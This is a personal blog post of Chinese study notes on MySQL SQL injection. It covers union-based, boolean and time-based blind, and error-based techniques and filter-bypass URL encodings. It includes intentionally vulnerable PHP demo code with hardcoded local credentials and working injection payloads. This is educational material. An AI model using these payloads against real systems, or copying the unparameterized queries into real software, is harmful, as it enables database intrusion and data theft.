SQLInjection
@ Zhang zhiyang · Monday, Jan 1, 0001 · 2 minute read · Update at Monday, Jan 1, 0001

0x00 mysql base

注释符:( /!/可执行 )

  • #(%23)
  • – (–%20)
  • /**/

逻辑运算符

  • and/&&(%26%26)
  • or/||(%7C%7C)
  • not/!

information_schema

img

connect function

function effect
concat($str,$str) 连接字符串
concat_ws(,$str,$str) 以指定的分隔符连接字符串
group_concat($set) 返回多个字符串组成的一个集合

0x01 union select

  • order by /:排序字段(超出列数会报错)
  • union :合并俩个查询的结果集(需列数相同)
<?php
$user='root';
$passwd='243285';
$host='127.0.0.1';
$db='zzy';
//$sql="insert into tb_conurses() values('1','1','1','1');";
function connect(){
    global $user,$passwd,$host,$db;
    $con=mysqli_connect($host,$user,$passwd,$db);
    return $con;
}
$id=$_GET['id'];
$select="select id,name from classes where id='$id';";
$info=mysqli_query(connect(),$select);
$result=mysqli_fetch_row($info);
foreach($result as $value){
    echo $value;
}
?>

<url>?id=1' union select 1,2 %23

0x02 blind injection

  • like:模糊查询
 mysql> select user_name from test like 'r_%';
  • regexp:正则匹配
mysql> select user_name from test regexp '^[0-9]$';

based on bool

function effect
left($str,a) 从左截取a位
length($str) 返回字符串长度
substr($str,a,b) 从第a位截取b位
ascil($str) 返回字符串ascii码
mysql> select * from test where id =1 and/or substr(user(),1,1)='r';

<url>?id=1' and substr(database(),1,1) like 's%' --+

based on time

function effect
if($condition,true,false) 判断条件
sleep($num) 延时函数
mysql> select * from test where id =1 and/or if(substr(user())='r',1,sleep(5);

<url>?id=1' and if(substr(database(),1,1) like 's%',1,sleep(5)) --+

0x03 Error injection

这是一个比较特殊的注入方式,上面俩种方式只能用于select语句,而error注入可以用在很多语句里,如insert,delete,update语句,从而出现了http header注入,cookie注入…

function effect
floor(num) 向下取整
extractvalue(xml_document,xml_path) 查看xml
updatexml( xml_document,xml_path,xml_update) 更新xml
mysql> insert into test() values(1,2,3) and/or extractvalue(1,concat(0x7e,(<sql>)));
mysql> insert into test() values(1,2,3) and/or updatexml(1,concat(0x7e,(<sql>)),1);

<?php
$user='root';
$passwd='243285';
$host='127.0.0.1';
$db='zzy';
function connect(){
    global $user,$passwd,$host,$db;
    $con=mysqli_connect($host,$user,$passwd,$db);
    return $con;
}
//插入数据 
$host=$_SERVER['HTTP_HOST'];
$ip=$_SERVER['REMOTE_ADDR'];
$insert="insert into http_header(host,ip) values('$host','$ip');";
if(!$_GET['id']){
    mysqli_query(connect(),$insert);}
//查找数据
$select='select * from http_header';
$data=mysqli_fetch_assoc(mysqli_query(connect(),$select));
echo "<a href='./connect_mysql.php'>你的ip是:{$data['host']}</a>";
//删除数据 <url>?id=1' updatexml(1,concat(0x7e,user()),1) or '
$id=$data['id'];
$delete_sql="delete from http_header where id=$id;";
echo "<p><a href=./connect_mysql.php?id=$id>删除</a></p>";
$delete=$_GET['id'];
if (isset($delete) and is_numeric($delete)){
    $data2=mysqli_query(connect(),$delete_sql);
    if ($data2){
        echo '删除成功';
    }
}
?>

0x04 Bypass

  • 特殊的url编码
url_code effect
%09 水平制表符
%0a 换行符
%0b 垂直制表符
%0c 换页键
%0d 回车符
%20 空格,不同于+
%22 "
%23 #
%27 '
%2a *
%2d -
%2f /
%5c \
%a0 space
Zhang zhiyang's blog
不过是些许风霜罢了
c cyber http linux math mysql php python 前端

© 2016 - 2022 Zhangzhiyang的博客

Powered by Hugo with theme Dream.

我听别人说这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。

日程

Zhangzhiyang的 ❤️ 博客

其他

如果你喜欢我的开源项目或者它们可以给你带来帮助,可以赏一杯咖啡 ☕ 给我。~

If you like my open source projects or they can help you. You can buy me a coffee ☕.~

PayPal

https://paypal.me/g1eny0ung

Patreon

Become a Patron!

微信赞赏码

wechat

最好附加一下信息或者留言,方便我可以将捐助记录 📝 下来,十分感谢 🙏。

It is better to attach some information or leave a message so that I can record the donation 📝, thank you very much 🙏.